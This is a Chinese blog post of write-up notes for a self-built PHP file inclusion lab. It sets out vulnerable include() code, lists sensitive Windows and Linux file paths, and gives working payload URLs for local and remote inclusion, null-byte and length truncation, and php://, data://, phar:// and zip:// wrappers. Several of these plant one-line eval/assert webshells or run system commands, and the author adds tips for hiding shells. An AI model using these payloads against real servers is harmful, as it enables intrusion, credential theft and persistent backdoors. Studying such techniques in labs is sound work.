文件包含漏洞实战靶场笔记

 记录下自己写的文件包含漏洞靶场的write up,包括了大部分的文件包含漏洞实战场景,做个笔记。

 

 

0x01 无过滤的本地文件包含

<?php
$page = isset($_GET['page'])?$_GET['page']:'';
include "$page";

?> 

没有任何过滤,可以包含一些敏感文件

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

 

0x02 session文件包含漏洞getshell

session的存储位置可以获取。

 通过phpinfo的信息可以获取到session的存储位置。

 

通过phpinfo的信息,获取到session.save_path为E:\phpstudy\tmp\tmp

 

也可以通过猜测默认的session存放位置进行尝试。

如linux下默认存储在/var/lib/php/session目录下:

session中的内容可以被控制,传入恶意代码。

<?php
session_start();
$page = isset($_GET['page'])?$_GET['page']:'';
$_SESSION["name"]=$page;
?> 

这里会将获取到的GET型ctfs变量的值存入到session中。

当访问后会在目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

可以看到这里将接收到的值写入了session文件中,那么我们可以写入一句话木马,然后包含这个session文件就可以getshell了

写入并访问:

http://www.include_demo.com/include_2.php?page=<?php @assert($_POST['x']);?>

服务端可以看到我们已经写入了session文件

 

包含有一句话木马的文件:

http://www.include_demo.com/include_1.php?page=E:\phpstudy\tmp\tmp\sess_d8idj2dlo37n5n64tevlobn075

 

 

文件包含中的小tips很多可以成为你隐藏shell的小技巧哦~~

 

0x03 00截断的本地文件包含

条件:magic_quotes_gpc = Off php版本<5.3.4

00截断都是没开gpc和5.3之前~~~

<?php
$page = isset($_GET['page'])?$_GET['page']:'';
include($page. ".html");
?> 

 

访问

http://www.include_demo.com/include_3.php?page=info.php%00

 

 

 0x04 路径长度截断的本地文件包含

除了00截断 ,也可以通过长度截断~

条件:windows OS,点号需要长于256;linux OS 长于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

http://www.include_demo.com/include_3.php?page=info.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././http://www.include_demo.com/include_3.php?page=info.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

 

当然也可以点号来截断

http://www.include_demo.com/include_3.php?page=info.php.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

 

 

0x05 无过滤的远程文件包含

RFI条件

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

 

 

<?php
$page = isset($_GET['page'])?$_GET['page']:'';
include "$page";

?> 

 

http://www.include_demo.com/include_5.php?page=http://www.include_demo.com/info.txt

 

 

 

 

 0x06 截断符号绕过的远程文件包含

代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

 

 可以使用问号、#号、%20绕过

 

http://www.include_demo.com/include_6.php?page=http://www.include_demo.com/info.txt?

http://www.include_demo.com/include_6.php?page=http://www.include_demo.com/info.txt%23

http://www.include_demo.com/include_6.php?page=http://www.include_demo.com/info.txt%20

 

 

0x07 php://filter伪协议读取文件

php://filter(本地磁盘文件进行读取)

元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

用法:?filename=php://filter/convert.base64-encode/resource=xxx.php 和?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。

条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

访问:

http://www.include_demo.com/include_7.php?page=php://filter/convert.base64-encode/resource=info.php


http://www.include_demo.com/include_7.php?page=php://filter/read=convert.base64-encode/resource=info.php 

 

 

 

0x08 php://input伪协议写入木马getshell

php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据 enctype=”multipart/form-data” 的时候 php://input 是无效的

用法:?file=php://input 数据利用POST传过去。

php://input (写入木马)

<?php
$page = isset($_GET['page'])?$_GET['page']:'';
include "$page";
?> 

条件:php配置文件中需同时开启 allow_url_fopenallow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

 

 

 0x09 php://input伪协议命令执行

 条件:php配置文件中需同时开启 allow_url_fopenallow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

<?php system('ipconfig');?>

 

0x0A file://伪协议读取文件

通过file协议可以访问本地文件系统,读取到文件的内容

http://www.include_demo.com/include_0A.php?page=file://c:/boot.ini

 

 

0x0B  data://伪协议一句话木马getshell

data://伪协议

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:

http://www.include_demo.com/include_0B.php?page=data://text/plain;base64,PD9waHAgYXNzZXJ0KCRfUE9TVFsnWCddKTs=

 

 

 

0x0C phar://伪协议解压zip文件为php文件

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。 

服务端新建一个shell.php,里面写入phpinfo,然后把这个shell.php添加zip压缩包,改后缀为png

http://www.include_demo.com/include_0C.php?page=phar://shell.png/shell.php

 

 

 

0x0D zip://伪协议解压zip文件为php文件

zip://伪协议

zip伪协议和phar协议类似,但是用法不一样。

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

http://www.include_demo.com/include_0D.php?page=zip://shell.png%23shell.php
posted @ 2019-06-17 15:31  卿先生  阅读(1126)  评论(1编辑  收藏  举报